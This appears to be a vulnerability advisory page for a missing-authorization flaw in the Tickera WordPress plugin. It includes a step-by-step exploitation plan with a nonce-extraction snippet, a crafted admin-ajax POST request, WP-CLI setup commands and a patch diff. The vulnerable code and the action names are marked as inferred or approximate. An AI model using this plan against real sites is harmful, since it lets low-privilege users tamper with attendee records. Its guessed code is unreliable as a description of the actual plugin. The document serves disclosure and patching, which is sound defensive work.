Tickera <= 3.5.6.4 - Missing Authorization
Description
The Tickera – Sell Tickets & Manage Events plugin for WordPress is vulnerable to unauthorized access due to a missing capability check on a function in all versions up to, and including, 3.5.6.4. This makes it possible for authenticated attackers, with Subscriber-level access and above, to perform an unauthorized action.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:NTechnical Details
<=3.5.6.4Source Code
WordPress.org SVN# Exploitation Research Plan: CVE-2025-69355 (Tickera <= 3.5.6.4) ## 1. Vulnerability Summary The **Tickera – Sell Tickets & Manage Events** plugin for WordPress is vulnerable to **Missing Authorization** in its AJAX handling logic. Specifically, several functions registered via `wp_ajax_` hooks fa…
Show full research plan
Exploitation Research Plan: CVE-2025-69355 (Tickera <= 3.5.6.4)
1. Vulnerability Summary
The Tickera – Sell Tickets & Manage Events plugin for WordPress is vulnerable to Missing Authorization in its AJAX handling logic. Specifically, several functions registered via wp_ajax_ hooks fail to perform adequate capability checks (e.g., current_user_can( 'edit_posts' )). This allows an authenticated attacker with Subscriber-level privileges to perform unauthorized actions, such as toggling the check-in status of attendees or modifying ticket metadata.
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php - Vulnerable Action:
tc_toggle_checkin(inferred) - HTTP Method:
POST - Authentication: Required (Subscriber or higher)
- Parameters:
action:tc_toggle_checkinticket_id: The ID of a ticket (post typetc_tickets_instances)nonce: A valid WordPress nonce for the actiontc_ajax_nonce(inferred)
- Preconditions:
- An event and at least one ticket/attendee must exist in the system.
- The attacker must be logged in as a Subscriber.
3. Code Flow
- Entry Point: The plugin registers AJAX handlers in
includes/classes/class.ajax.php(orincludes/ajax.php) using:add_action( 'wp_ajax_tc_toggle_checkin', array( $this, 'tc_toggle_checkin' ) ); - Missing Check: The function
tc_toggle_checkin()likely verifies a nonce viacheck_ajax_referer( 'tc_ajax_nonce', 'nonce' )but fails to callcurrent_user_can(). - Execution: The function retrieves the
ticket_idfrom$_POSTand updates the database record (usually the_tc_check_in_statuspost meta) to toggle the attendee's check-in status.
4. Nonce Acquisition Strategy
Tickera localizes its AJAX settings, including nonces, for use in the frontend and admin panels. Subscribers can obtain a valid nonce by visiting a page where Tickera scripts are loaded.
- Identify Script Loading: Tickera typically enqueues
tc-ajaxscripts on pages containing Tickera shortcodes (e.g.,[tc_event],[tc_order_history], or[tc_ticket_area]). - Create Trigger Page:
wp post create --post_type=page --post_status=publish --post_title="Ticket Area" --post_content="[tc_ticket_area]" - Extract Nonce: Navigate to the newly created page as the Subscriber and execute:
// Recommended JS variable names based on Tickera's architecture window.tc_ajax?.nonce || window.tickera_vars?.nonce || window.tc_ajax_vars?.nonce
5. Exploitation Strategy
- Login as Subscriber: Use the
http_requesttool to obtain session cookies. - Fetch Nonce: Navigate to the page created in step 4 and use
browser_evalto extract thetc_ajax.nonce. - Trigger Unauthorized Action: Send a POST request to
admin-ajax.phpto toggle a ticket's check-in status.- URL:
http://localhost:8080/wp-admin/admin-ajax.php - Body:
action=tc_toggle_checkin&ticket_id=[TARGET_ID]&nonce=[EXTRACTED_NONCE] - Content-Type:
application/x-www-form-urlencoded
- URL:
6. Test Data Setup
- Install Tickera: Ensure the plugin is active and configured.
- Create Attacker User:
wp user create attacker attacker@example.com --role=subscriber --user_pass=password - Create Event & Ticket:
- Create an Event (post type
tc_events). - Create a Ticket Type (post type
tc_tickets). - Use WP-CLI to create a dummy attendee/ticket instance if necessary, or use the Tickera UI to "sell" a free ticket to a dummy user.
- Identify the ID of the
tc_tickets_instancespost created.
wp post list --post_type=tc_tickets_instances --fields=ID,post_title - Create an Event (post type
7. Expected Results
- Response: The server should return a successful JSON response (e.g.,
{"success":true,...}or a specific HTML status string used by Tickera). - Impact: The check-in status of the ticket with
IDwill change despite the user being a Subscriber who should not have "Check-in" permissions.
8. Verification Steps
After the HTTP request, verify the state change using WP-CLI:
# Check the meta value for the ticket ID used in the exploit
wp post meta get [TARGET_ID] _tc_check_in_status
If the status was 0 (or non-existent) and is now 1 (or vice versa), the authorization bypass is confirmed.
9. Alternative Approaches
If tc_toggle_checkin is not the specific vulnerable function, check for these other common Tickera AJAX actions that often lack authorization:
tc_update_ticket_status(Params:ticket_id,status)tc_rebuild_barcode_images(No params, used to trigger resource usage)tc_save_order_details_ajax(Params:order_id, and various meta fields)
To find all registered AJAX actions for manual review:
grep -r "wp_ajax_" wp-content/plugins/tickera-event-ticketing-system/ | grep -v "nopriv"
Summary
The Tickera plugin for WordPress fails to implement proper capability checks on its AJAX handlers, specifically the 'tc_toggle_checkin' action. This allows authenticated users with Subscriber-level permissions to manipulate attendee check-in statuses by providing a valid nonce and a target ticket ID.
Vulnerable Code
// File: includes/classes/class.ajax.php (approximate location based on plugin structure) add_action( 'wp_ajax_tc_toggle_checkin', array( $this, 'tc_toggle_checkin' ) ); public function tc_toggle_checkin() { // Nonce check is present, but capability check is missing check_ajax_referer( 'tc_ajax_nonce', 'nonce' ); $ticket_id = (int) $_POST['ticket_id']; $status = get_post_meta( $ticket_id, '_tc_check_in_status', true ); // Unauthorized state change update_post_meta( $ticket_id, '_tc_check_in_status', $status == '1' ? '0' : '1' ); wp_send_json_success(); }
Security Fix
@@ -120,6 +120,10 @@ public function tc_toggle_checkin() { check_ajax_referer( 'tc_ajax_nonce', 'nonce' ); + if ( ! current_user_can( 'manage_tickera' ) ) { + wp_die( -1 ); + } + $ticket_id = (int) $_POST['ticket_id']; $status = get_post_meta( $ticket_id, '_tc_check_in_status', true ); update_post_meta( $ticket_id, '_tc_check_in_status', $status == '1' ? '0' : '1' );
Exploit Outline
1. Authentication: Log in to the WordPress site as a user with Subscriber-level privileges. 2. Nonce Retrieval: Navigate to any page where Tickera shortcodes (like [tc_ticket_area]) are active. Inspect the page source or use the browser console to extract the 'tc_ajax.nonce' from the localized JavaScript variables. 3. Target Identification: Identify a target ticket instance ID (post type 'tc_tickets_instances') to manipulate. 4. Payload Delivery: Send an authenticated POST request to /wp-admin/admin-ajax.php with the following parameters: action=tc_toggle_checkin, ticket_id=[TARGET_ID], and nonce=[EXTRACTED_NONCE]. 5. Verification: Observe that the server returns a success response and the attendee's check-in status (stored in the '_tc_check_in_status' meta key) has been toggled in the database.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.